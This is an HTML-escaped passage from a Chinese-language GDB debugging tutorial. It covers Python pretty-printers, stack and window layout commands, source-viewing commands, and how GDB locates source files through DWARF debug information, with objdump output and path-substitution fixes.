   MyStruct s = {std::string(&amp;quot;student&amp;quot;), lm, ls, 3, 4}
   return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pretty-printer&quot;&gt;Pretty-Printer&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;onlinedocs&#x2F;gdb&#x2F;Writing-a-Pretty_002dPrinter.html&quot;&gt;gdb printer&lt;&#x2F;a&gt;
the printer only handles one type, whereas a library typically has several types. One could install a lookup function for each desired type in the library,
but one could also have a single lookup function recognize several types. The latter is the conventional way this is handled.
If a pretty-printer can handle multiple data types, then its subprinters are the printers for the individual data types.
The gdb.printing module provides a formal way of solving these problems (see gdb.printing). Here is another example that handles multiple types.&lt;&#x2F;p&gt;
&lt;p&gt;hese are the types we are going to pretty-print:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct foo { int a, b; };
struct bar { struct foo x, y; };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here are the printers:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class fooPrinter:
    &amp;quot;&amp;quot;&amp;quot;Print a foo object.&amp;quot;&amp;quot;&amp;quot;

    def __init__(self, val):
        self.val = val

    def to_string(self):
        return (&amp;quot;a=&amp;lt;&amp;quot; + str(self.val[&amp;quot;a&amp;quot;]) +
                &amp;quot;&amp;gt; b=&amp;lt;&amp;quot; + str(self.val[&amp;quot;b&amp;quot;]) + &amp;quot;&amp;gt;&amp;quot;)

class barPrinter:
    &amp;quot;&amp;quot;&amp;quot;Print a bar object.&amp;quot;&amp;quot;&amp;quot;

    def __init__(self, val):
        self.val = val

    def to_string(self):
        return (&amp;quot;x=&amp;lt;&amp;quot; + str(self.val[&amp;quot;x&amp;quot;]) +
                &amp;quot;&amp;gt; y=&amp;lt;&amp;quot; + str(self.val[&amp;quot;y&amp;quot;]) + &amp;quot;&amp;gt;&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This example doesn’t need a lookup function, that is handled by the gdb.printing module. Instead a function is provided to build up the object that handles the lookup.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import gdb.printing

def build_pretty_printer():
    pp = gdb.printing.RegexpCollectionPrettyPrinter(
        &amp;quot;my_library&amp;quot;)
    pp.add_printer(&amp;#x27;foo&amp;#x27;, &amp;#x27;^foo$&amp;#x27;, fooPrinter)
    pp.add_printer(&amp;#x27;bar&amp;#x27;, &amp;#x27;^bar$&amp;#x27;, barPrinter)
    return pp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And here is the autoload support:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import gdb.printing
import my_library
gdb.printing.register_pretty_printer(
    gdb.current_objfile(),
    my_library.build_pretty_printer())
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, when this printer is loaded into GDB, here is the corresponding output of ‘info pretty-printer’:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) info pretty-printer
my_library.so:
  my_library
    foo
    bar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cha-xun-yun-xing-xin-xi&quot;&gt;查询运行信息&lt;&#x2F;h1&gt;
&lt;p&gt;where&#x2F;bt :当前运行的堆栈列表;
bt&#x2F;backtrace 显示当前调用堆栈
up&#x2F;down 改变堆栈显示的深度
set args 参数:指定运行时的参数
show args:查看设置好的参数
info program: 来查看程序的是否在运行,进程号,被暂停的原因.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fen-ge-chuang-kou&quot;&gt;分割窗口&lt;&#x2F;h1&gt;
&lt;p&gt;layout:用于分割窗口,可以一边查看代码,一边测试:
layout src:显示源代码窗口
layout asm:显示反汇编窗口,默认汇编以att格式显示,如果想改为intel的格式,那么执行命令set disassembly-flavor intel即可改为intel格式.查看当前的汇编格式可以通过命令show disassembly-flavor查看.
layout regs:显示源代码&#x2F;反汇编和CPU寄存器窗口
layout split:显示源代码和反汇编窗口
info win: 显示所有的窗口
layout prev: 切换到前一个窗口
layout next: 切换到后一个窗口
fs &amp;lt;窗口名&amp;gt;: 将焦点移动到某个窗口上
Ctrl + L:刷新窗口&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-gdbde-yuan-dai-ma&quot;&gt;使用GDB的源代码&lt;&#x2F;h1&gt;
&lt;p&gt;在调试程序的过程中,可以自由地查看相关的源代码(如果有源代码的话)是一项最基本的特性.
GDB之所以能够知道对应的源代码,是因为调试版的可执行程序中记录了源代码的位置;
因为源代码的位置在编译之后可能会移动到其它地方,所以GDB还会在当前目录中查找源代码,另外GDB也允许明确指定源代码的搜索位置.
默认情况下,GDB在编译时目录中搜索,如果失败则在当前目录中搜索,即$cdir:$cwd,其中$cdir指的是编译时目录(compilation directory),$cwd指的是当前工作目录(current working directory).
在GDB中使用查看源代码相关的命令时,有一个当前文件的概念,当命令的位置参数没有限定一个文件的时候(不论是明确限定还是隐含限定),将使用当前文件.当前文件默认是main函数所在文件,如果程序当前正处于断点位置,则断点所在文件即为当前文件.
与当前文件的概念类似,还存在一个当前行的概念,它默认为main函数的开始处.如果使用gdb载入一个可执行文件,然后单单执行一条简单的list命令,你会发现输出的源代码并非是从第一行开始的,这是因为当前行默认在main函数附近处的缘故.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-she-zhi-he-huo-qu-yuan-dai-ma-xian-shi-shu-liang&quot;&gt;1.设置和获取源代码显示数量:&lt;&#x2F;h2&gt;
&lt;p&gt;默认情况下,GDB显示指定位置处以及其前后的10行代码,但是这是一个可设置的值.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set listsize count:设置list命令显示的源代码数量最多为count行,0表示不限制行数.
show listsize:显示listsize的值.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-bian-ji-yuan-dai-ma&quot;&gt;2.编辑源代码:&lt;&#x2F;h2&gt;
&lt;p&gt;在一些情况下,我们希望在编辑器中显示或者编辑源代码,GDB允许我们使用自己喜欢的编辑器.
可在环境变量EDITOR中指定GDB使用的编辑器,例如:EDITOR=&#x2F;usr&#x2F;bin&#x2F;gedit;export EDITOR;
gdb edit location:在编辑器中编辑位置location处的源代码,如果省略location,则编辑当前位置.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-sou-suo-yuan-dai-ma&quot;&gt;3.搜索源代码:&lt;&#x2F;h2&gt;
&lt;p&gt;有的时候,我们希望在当前文件中进行搜索,GDB提供了这样的命令.
search regexp:从当前行的下一行开始向前搜索.
rev regexp :从当前行的上一行开始向后搜索.
有的时候,你会发现search命令总是提示&quot;Expression not found&quot;,这是因为当前行可能已经是最后一行了,特别是文件很短的时候.
这里需要注意的是,任何list命令都会影响当前行的位置,并且由于每次都是多行输出,所以对当前行的影响并非简单地向前一行或者向后一行.
search命令本身也会影响当前行的位置.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-yuan-dai-ma-wei-zhi&quot;&gt;4.源代码位置:&lt;&#x2F;h2&gt;
&lt;p&gt;GDB之所以可以查看到源代码,是因为它知道源代码放在哪里.
在一个调试会话中,GDB维护了一个源代码查找目录列表,默认值是编译目录和当前工作目录.当GDB需要一个源文件的时候,它依次在这些目录中查找,直到找到一个或者抛出错误.
GDB还维护了一个路径替换规则,将要搜索的原始路径按照找到的第一个规则做前缀替换,然后再在源码搜索目录中查找文件.
GDB允许明确指定源代码位置,或者路径替换规则,以应付源代码位置迁移的情况.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;directory path-list:将一个或者多个源代码搜索目录加入到当前源码搜索目录列表的前面,目录之间使用空格间隔.
directory:不带参数的directory将源码搜索目录恢复为默认值.
set directories path-list:将源码目录设置为path-list,但是会补上默认目录.
show directories:显示源码搜索目录列表.
set substitute-path from to:设置目录替换规则,放置在规则列表的末端.
unset substitute-path [path]:删除path对应的替换规则,或者删除所有的替换规则.
show substitute-path [path]:显示path对应的替换规则,或者显示所有的替换规则.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-cha-kan-ji-qi-ma&quot;&gt;5.查看机器码:&lt;&#x2F;h2&gt;
&lt;p&gt;在一些必要的时候,我们需要查看汇编代码来诊断问题.GDB提供了这种可能.
GDB提供了两种能力:显示源代码位置与指令地址之间的映射;显示指定位置的汇编代码.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;info line linespec:显示源代码linespec处对应的汇编地址范围.
info line *addr:显示地址addr处对应的源代码位置.
disassemble,disassemble &amp;#x2F;m,disassemble &amp;#x2F;r:显示指定地址范围内的汇编代码,
    有4种使用形式,第一种不带参数,显示当前正在执行的函数的汇编代码;
                  第二种是一个参数,显示该地址所在函数的汇编代码;
                  第三种是两个参数的disassemble start,end,显示地址［start,end)内的汇编代码;
                  第四种是两个参数的disassemble start,+length,显示地址［start,start+length)内的汇编代码.参数可以是16进制的地址,
                      也可以是函数名.&amp;#x2F;m表示混合输出源代码和汇编代码,&amp;#x2F;r表示混合输出二进制和汇编代码.
set disassembly-flavor instruction-set:设置显示汇编代码时使用的风格,目前只针对intel x86系列,可取的值为att和intel,默认是att.
show disassembly-flavor:显示disassembly-flavor设置
set disassemble-next-line on|off|auto:当程序停止下来的时候,是否显示下一行源代码的汇编代码,默认为off.
show disassemble-next-line:显示disassemble-next-line设置.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-xian-shi-zhi-ding-wei-zhi-de-yuan-dai-ma&quot;&gt;6.显示指定位置的源代码:&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;list命令可用于显示指定位置处的源代码.list命令会影响当前行和当前文件.
list命令有多种方式指定要显示的源代码范围,可以是行号,函数名,甚至是指令地址.
常用的如下:
list linenum:显示指定行数附近的代码.
list function:显示指定函数附近的代码.
list ＊addr:显示指定地址附近的代码.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ru-he-zai-gdbzhong-guan-lian-yuan-dai-ma&quot;&gt;如何在GDB中关联源代码&lt;&#x2F;h1&gt;
&lt;p&gt;如果你手头上有一个你自己或者别人开发的程序,但它有一些bug.或者你只是想知道这个程序是如何工作的.怎么办呢?你需要一个调试工具.
现在很少有人会直接对着汇编指令进行调试,通常情况下,大家都希望能对照着源代码进行调试.但是,你调试使用的主机,一般来说并不是构建程序的那台,因此你会看到如下这个令人沮丧的消息:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;$ gdb -q python3.7
Reading symbols from python3.7...done.
(gdb) l
6   .&#x2F;Programs&#x2F;python.c: No such file or directory.
我经常会看到这些报错信息,并且对于调试程序来说,这也非常重要.所以,我认为我们需要详细了解一下GDB是如何在调试会话中显示源代码的.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;diao-shi-xin-xi&quot;&gt;调试信息&lt;&#x2F;h2&gt;
&lt;p&gt;首先,我们从调试信息开始.调试信息是由编译器生成的存在于二进制文件中的特殊段,供调试器和其他相关的工具使用.
在GCC中,有一个著名的-g标志用于生成调试信息.大多数使用某种构建系统的项目都会在构建时默认包含或者通过一些标志来添加调试信息.
例如,在CPython中,你需要执行以下命令:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;$ .&#x2F;configure --with-pydebug
$ make -j
-with-pydebug会在调用GCC时添加-g选项.&lt;&#x2F;p&gt;
&lt;p&gt;这个-g选项会生成二进制的调试段,并插入到程序的二进制文件中.调试段通常采用DWARF格式.对于ELF二进制文件来说,调试段的名称一般都是像.debug_ *这样的,例如 .debug_info或者.debug_loc.这些调试段使得调试程序成为可能,可以这么说,它是汇编级别的指令与源代码之间的映射.&lt;&#x2F;p&gt;
&lt;p&gt;要查看程序是否包含调试符号,你可以使用objdump命令列出二进制文件的所有段:
$ objdump -h .&#x2F;python&lt;&#x2F;p&gt;
&lt;p&gt;python:     file format elf64-x86-64&lt;&#x2F;p&gt;
&lt;p&gt;Sections:
Idx Name          Size      VMA               LMA               File off  Algn
0 .interp       0000001c  0000000000400238  0000000000400238  00000238  2&lt;strong&gt;0&lt;strong&gt;&lt;strong&gt;CONTENTS, ALLOC, LOAD, READONLY, DATA&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;1 .note.ABI-tag 00000020  0000000000400254  0000000000400254  00000254  2&lt;&#x2F;strong&gt;2
CONTENTS, ALLOC, LOAD, READONLY, DATA
...
25 .bss          00031f70  00000000008d9e00  00000000008d9e00  002d9dfe  2&lt;strong&gt;5&lt;strong&gt;&lt;strong&gt;ALLOC&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;26 .comment      00000058  0000000000000000  0000000000000000  002d9dfe  2&lt;&#x2F;strong&gt;0
CONTENTS, READONLY
27 .debug_aranges 000017f0  0000000000000000  0000000000000000  002d9e56  2&lt;strong&gt;0&lt;strong&gt;&lt;strong&gt;CONTENTS, READONLY, DEBUGGING&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;28 .debug_info   00377bac  0000000000000000  0000000000000000  002db646  2&lt;&#x2F;strong&gt;0
CONTENTS, READONLY, DEBUGGING
29 .debug_abbrev 0001fcd7  0000000000000000  0000000000000000  006531f2  2&lt;strong&gt;0&lt;strong&gt;&lt;strong&gt;CONTENTS, READONLY, DEBUGGING&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;30 .debug_line   0008b441  0000000000000000  0000000000000000  00672ec9  2&lt;&#x2F;strong&gt;0
CONTENTS, READONLY, DEBUGGING
31 .debug_str    00031f18  0000000000000000  0000000000000000  006fe30a  2&lt;strong&gt;0&lt;strong&gt;&lt;strong&gt;CONTENTS, READONLY, DEBUGGING&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;32 .debug_loc    0034190c  0000000000000000  0000000000000000  00730222  2&lt;&#x2F;strong&gt;0
CONTENTS, READONLY, DEBUGGING
33 .debug_ranges 00062e10  0000000000000000  0000000000000000  00a71b2e  2**0
CONTENTS, READONLY, DEBUGGING&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;或者使用readelf命令:&lt;&#x2F;p&gt;
&lt;p&gt;$ readelf -S .&#x2F;python&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;There are 38 section headers, starting at offset 0xb41840:&lt;&#x2F;p&gt;
&lt;p&gt;Section Headers:
[Nr] Name              Type             Address           Offset
Size              EntSize          Flags  Link  Info  Align
[ 0]                   NULL             0000000000000000  00000000  0000000000000000 0000000000000000            0     0     0
[ 1] .interp           PROGBITS         0000000000400238  00000238  000000000000001c  0000000000000000   A       0     0     1&lt;&#x2F;p&gt;
&lt;p&gt;...&lt;&#x2F;p&gt;
&lt;p&gt;[26] .bss              NOBITS           00000000008d9e00  002d9dfe
0000000000031f70  0000000000000000  WA       0     0     32
[27] .comment          PROGBITS         0000000000000000  002d9dfe
0000000000000058  0000000000000001  MS       0     0     1
[28] .debug_aranges    PROGBITS         0000000000000000  002d9e56
00000000000017f0  0000000000000000           0     0     1
[29] .debug_info       PROGBITS         0000000000000000  002db646
0000000000377bac  0000000000000000           0     0     1
[30] .debug_abbrev     PROGBITS         0000000000000000  006531f2
000000000001fcd7  0000000000000000           0     0     1
[31] .debug_line       PROGBITS         0000000000000000  00672ec9
000000000008b441  0000000000000000           0     0     1
[32] .debug_str        PROGBITS         0000000000000000  006fe30a
0000000000031f18  0000000000000001  MS       0     0     1
[33] .debug_loc        PROGBITS         0000000000000000  00730222
000000000034190c  0000000000000000           0     0     1
[34] .debug_ranges     PROGBITS         0000000000000000  00a71b2e
0000000000062e10  0000000000000000           0     0     1
[35] .shstrtab         STRTAB           0000000000000000  00b416d5
0000000000000165  0000000000000000           0     0     1
[36] .symtab           SYMTAB           0000000000000000  00ad4940
000000000003f978  0000000000000018          37   8762     8
[37] .strtab           STRTAB           0000000000000000  00b142b8
000000000002d41d  0000000000000000           0     0     1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在我们刚刚编译的Python程序中,我们可以看到.debug_ *段,因此它是包含调试信息的.
调试信息是DIE(调试信息条目)的一个集合.每个DIE都有一个标签,用来表示DIE的类型以及它的属性,就像变量的名称和行号一样.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gdbru-he-xun-zhao-yuan-dai-ma&quot;&gt;GDB如何寻找源代码&lt;&#x2F;h2&gt;
&lt;p&gt;为了寻找源代码,GDB会解析.debug_info段并查找所有带有DW_TAG_compile_unit标签的DIE.具有此标签的DIE有两个主要属性DW_AT_comp_dir(编译目录)和DW_AT_name(名称),这就是源代码的路径.把这两个属性结合起来就是某个特定编译单元(对象文件)对应的源文件的完整路径.
要解析调试信息,你仍然可以使用objdump命令:
你可以看到这些解析出来的调试信息:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;objdump -g .&#x2F;python | vim -&lt;&#x2F;p&gt;
&lt;p&gt;Contents of the .debug_info section:&lt;&#x2F;p&gt;
&lt;p&gt;Compilation Unit @ offset 0x0:
Length:        0x222d (32-bit)
Version:       4
Abbrev Offset: 0x0
Pointer Size:  8
&amp;lt;0&amp;gt;&lt;b&gt;: Abbrev Number: 1 (DW_TAG_compile_unit)
&lt;c&gt;   DW_AT_producer    : (indirect string, offset: 0xb6b): GNU C99 6.3.1 20161221 (Red Hat 6.3.1-1) -mtune=generic -march=x86-64 -g -Og -std=c99
&amp;lt;10&amp;gt;   DW_AT_language    : 12   (ANSI C99)
&amp;lt;11&amp;gt;   DW_AT_name        : (indirect string, offset: 0x10ec): .&#x2F;Programs&#x2F;python.c
&amp;lt;15&amp;gt;   DW_AT_comp_dir    : (indirect string, offset: 0x7a): &#x2F;home&#x2F;avd&#x2F;dev&#x2F;cpython
&amp;lt;19&amp;gt;   DW_AT_low_pc      : 0x41d2f6
&amp;lt;21&amp;gt;   DW_AT_high_pc     : 0x1b3
&amp;lt;29&amp;gt;   DW_AT_stmt_list   : 0x04&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;GDB是这样读取的:地址从DW_AT_low_pc = 0×41d2f6到DW_AT_low_pc + DW_AT_high_pc = 0×41d2f6 + 0×1b3 = 0×41d4a9对应的源代码文件是位于&#x2F;home&#x2F;avd&#x2F;dev&#x2F;cpython路径下的.&#x2F;Programs&#x2F;python.c文件,相当简单吧.
这是GDB向你显示源代码的整个过程:&lt;&#x2F;p&gt;
&lt;p&gt;解析.debug_info查找当前对象文件的DW_AT_name属性的DW_AT_comp_dir属性
按照路径DW_AT_comp_dir&#x2F;DW_AT_name打开文件
显示文件的内容&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ru-he-gao-su-gdbyuan-dai-ma-de-wei-zhi&quot;&gt;如何告诉GDB源代码的位置&lt;&#x2F;h2&gt;
&lt;p&gt;所以,要解决.&#x2F;Programs&#x2F;python.c: No such file or directory.这个问题,我们必须在目标主机上存放源代码(复制或git clone过来),并执行以下任意一个操作:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-zhong-jian-yuan-dai-ma-lu-jing&quot;&gt;1.重建源代码路径&lt;&#x2F;h3&gt;
&lt;p&gt;你可以在目标主机上重建源代码路径,这样,GDB就能找到对应的源代码了.这是个愚蠢的办法,但是还是很有用的.
在我这个例子中,我执行了这个命令git clone https:&#x2F;&#x2F;github.com&#x2F;python&#x2F;cpython.git &#x2F;home&#x2F;avd&#x2F;dev&#x2F;cpython来检出所需的版本.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-xiu-gai-gdbyuan-dai-ma-lu-jing&quot;&gt;2.修改GDB源代码路径&lt;&#x2F;h3&gt;
&lt;p&gt;你可以在调试会话中使用directory &lt;dir&gt;命令让GDB关联正确的源代码路径:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) list
6   .&#x2F;Programs&#x2F;python.c: No such file or directory.
(gdb) directory &#x2F;usr&#x2F;src&#x2F;python
Source directories searched: &#x2F;usr&#x2F;src&#x2F;python:$cdir:$cwd
(gdb) list
6    &lt;strong&gt;FreeBSD&lt;&#x2F;strong&gt;
7    &amp;lt;fenv.h&amp;gt;
8&lt;br &#x2F;&gt;
9
10   MS_WINDOWS
11  int
12  wmain(int argc, wchar_t **argv)
13  {
14      return Py_Main(argc, argv);
15  }&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;3-she-zhi-gdblu-jing-ti-huan-gui-ze&quot;&gt;3.设置GDB路径替换规则&lt;&#x2F;h3&gt;
&lt;p&gt;如果目录结构层次比较复杂,有时候添加源代码路径是不够的.在这种情况下,你可以使用set substitute-path命令来添加源路径的替换规则.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(gdb) list
6   .&#x2F;Programs&#x2F;python.c: No such file or directory.
(gdb) set substitute-path &#x2F;home&#x2F;avd&#x2F;dev&#x2F;cpython &#x2F;usr&#x2F;src&#x2F;python
(gdb) list
6    &lt;strong&gt;FreeBSD&lt;&#x2F;strong&gt;
7    &amp;lt;fenv.h&amp;gt;
8&lt;br &#x2F;&gt;
9
10   MS_WINDOWS
11  int
12  wmain(int argc, wchar_t **argv)
13  {
14      return Py_Main(argc, argv);
15  }&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;4-ba-er-jin-zhi-wen-jian-yi-dao-yuan-dai-ma-mu-lu&quot;&gt;4.把二进制文件移到源代码目录&lt;&#x2F;h3&gt;
&lt;p&gt;你可以通过将二进制文件移动到源代码目录来改变GDB源代码路径.
mv python &#x2F;home&#x2F;user&#x2F;sources&#x2F;cpython
因为GDB会试着在当前目录($cwd)下寻找源代码,所以这个做法也是可以的.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-bian-yi-shi-zeng-jia-fdebug-prefix-mapxuan-xiang&quot;&gt;5.编译时增加-fdebug-prefix-map选项&lt;&#x2F;h3&gt;
&lt;p&gt;你可以使用-fdebug-prefix-map = old_path = new_path编译选项来替代构建阶段的源路径.下面是在CPython项目中执行此操作的例子:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;$ make distclean    ## start clean
$.&#x2F;configure CFLAGS=&quot;-fdebug-prefix-map=$(pwd)=&#x2F;usr&#x2F;src&#x2F;python&quot; --with-pydebug
$ make -j
这样,我们就有了新的源代码路径:&lt;&#x2F;p&gt;
&lt;p&gt;$ objdump -g .&#x2F;python
...
&amp;lt;0&amp;gt;&lt;b&gt;: Abbrev Number: 1 (DW_TAG_compile_unit)
&lt;c&gt;   DW_AT_producer    : (indirect string, offset: 0xb65): GNU C99 6.3.1 20161221 (Red Hat 6.3.1-1) -mtune=generic -march=x86-64 -g -Og -std=c99
&amp;lt;10&amp;gt;   DW_AT_language    : 12       (ANSI C99)
&amp;lt;11&amp;gt;   DW_AT_name        : (indirect string, offset: 0x10ff): .&#x2F;Programs&#x2F;python.c
&amp;lt;15&amp;gt;   DW_AT_comp_dir    : (indirect string, offset: 0x558): &#x2F;usr&#x2F;src&#x2F;python
&amp;lt;19&amp;gt;   DW_AT_low_pc      : 0x41d336
&amp;lt;21&amp;gt;   DW_AT_high_pc     : 0x1b3
&amp;lt;29&amp;gt;   DW_AT_stmt_list   : 0x0
...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这个办法是最粗暴了,因为你可以将其设置为类似于`&#x2F;usr&#x2F;src&#x2F;project-name’这样的路径,把源代码包安装到这个路径下,然后就可以任性地调试了.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h3&gt;
&lt;p&gt;GDB通过以DWARF格式存储的调试信息来查找源代码信息.DWARF是一种非常简单的格式,实际上,它是一棵DIE(调试信息条目)树,它描述了程序的对象文件以及变量和函数.
有很多种方法可以让GDB找到源代码,其中最简单的方法是使用directory和set substitute-path命令,而-fdebug-prefix-map是最最强大的.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wan-zheng-de-li-zi&quot;&gt;完整的例子&lt;&#x2F;h2&gt;
&lt;p&gt;程序在编译的过程中会记录源文件的名字和路径,这个路径可能是绝对路径,比如 &#x2F;mnt&#x2F;d&#x2F;main.cpp,也可能是相对路径 ..&#x2F;main.cpp ,究竟是哪一种取决于编译时使用的参数.
我们以绝对路径为例,比如文件名为 &#x2F;mnt&#x2F;d&#x2F;main.cpp,我们可以把它拆分成包含路径和不包含路径两种形式:&#x2F;mnt&#x2F;d&#x2F;main.cpp 和 main.cpp,当 SourcePathSet 中包含一个路径叫 &#x2F;mnt&#x2F;e时, gdb 搜索的路径包括以下几种:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&#x2F;mnt&#x2F;d&#x2F;main.cpp
&#x2F;mnt&#x2F;e&#x2F;mnt&#x2F;d&#x2F;main.cpp
&#x2F;mnt&#x2F;e&#x2F;main.cpp
当源文件是相对路径 ..&#x2F;main.cpp 的时候,那么搜索的路径就变成了下面两个:
&#x2F;mnt&#x2F;e&#x2F;..&#x2F;main.cpp
&#x2F;mnt&#x2F;e&#x2F;main.cpp
说到这里你可能就明白了,当 gdb 找不到源文件的时候,修改 SourcePathSet 就可以了,把想让它搜索的路径添加到 SourcePathSet,如果符合它的搜索规则,那么就可以找到了.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;mu-lu-ji-he-de-mo-ren-zhi&quot;&gt;目录集合的默认值&lt;&#x2F;h3&gt;
&lt;p&gt;SourcePathSet 在 gdb 启动后开始生效,默认值并不是空,而是 $cdir:$cwd,
这又是什么鬼?其中的$cdir叫做编译目录,是代码在编译时记录到程序中的,$cwd 表示当前的调试目录,可以通过cd命令来修改,
要注意这个cd修改的是gdb会话中的当前目录,不会影响启动 gdb 前文件系统中的目录位置.
假设$cdir的值是&#x2F;usr,cwd的值是&#x2F;home&#x2F;albert,我们又添加了&#x2F;mnt&#x2F;e到SourcePathSet中,那么此时SourcePathSet的值为&#x2F;mnt&#x2F;e:$cdir:$cwd,如果源文件的是&#x2F;mnt&#x2F;d&#x2F;main.cpp,查找的目录就会出现以下几种:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&#x2F;mnt&#x2F;d&#x2F;main.cpp
&#x2F;mnt&#x2F;e&#x2F;mnt&#x2F;d&#x2F;main.cpp
&#x2F;usr&#x2F;mnt&#x2F;d&#x2F;main.cpp
&#x2F;home&#x2F;albert&#x2F;mnt&#x2F;d&#x2F;main.cpp
&#x2F;mnt&#x2F;e&#x2F;main.cpp
&#x2F;usr&#x2F;main.cpp
&#x2F;home&#x2F;albert&#x2F;main.cpp
查看源代码文件名和编译目录
info source
show dir 命令就可以显示 SourcePathSet 这个集合中都有哪些目录
pwd  查看当前目录&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;ju-ti-shi-li&quot;&gt;具体示例&lt;&#x2F;h3&gt;
&lt;p&gt;新建三个文件 mainpro.cpp,mymath.h,mymath.cpp,目录结构和内容如下:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;albert@home-pc:&#x2F;mnt&#x2F;d$ tree &#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;
&#x2F;mnt&#x2F;d&#x2F;mainpro&#x2F;
|-- core
|   &lt;code&gt;-- mainpro.cpp &lt;&#x2F;code&gt;-- kit
|-- mymath.cpp
`-- mymath.h&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;albert@home-pc:&amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro$ g++ &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;core&amp;#x2F;mainpro.cpp &amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro&amp;#x2F;kit&amp;#x2F;mymath.cpp -g -o mainpro
albert@home-pc:&amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro$ tree
.
|-- core
|   `-- mainpro.cpp
|-- kit
|   |-- mymath.cpp
|   `-- mymath.h
`-- mainpro

#2 directories, 4 files
albert@home-pc:&amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro$ mkdir &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro
albert@home-pc:&amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro$ sudo mv core&amp;#x2F; &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;
albert@home-pc:&amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro$ sudo mv kit&amp;#x2F; &amp;#x2F;mnt&amp;#x2F;e&amp;#x2F;newpro&amp;#x2F;
albert@home-pc:&amp;#x2F;mnt&amp;#x2F;d&amp;#x2F;mainpro$ mv mainpro &amp;#x2F;home&amp;#x2F;albert&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &#x2F;home&#x2F;albert 目录下启动 gdb 开始调试,先在 main 函数打断点,查询源文件路径和编译目录等信息;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;albert@home-pc:~$ gdb -q mainpro
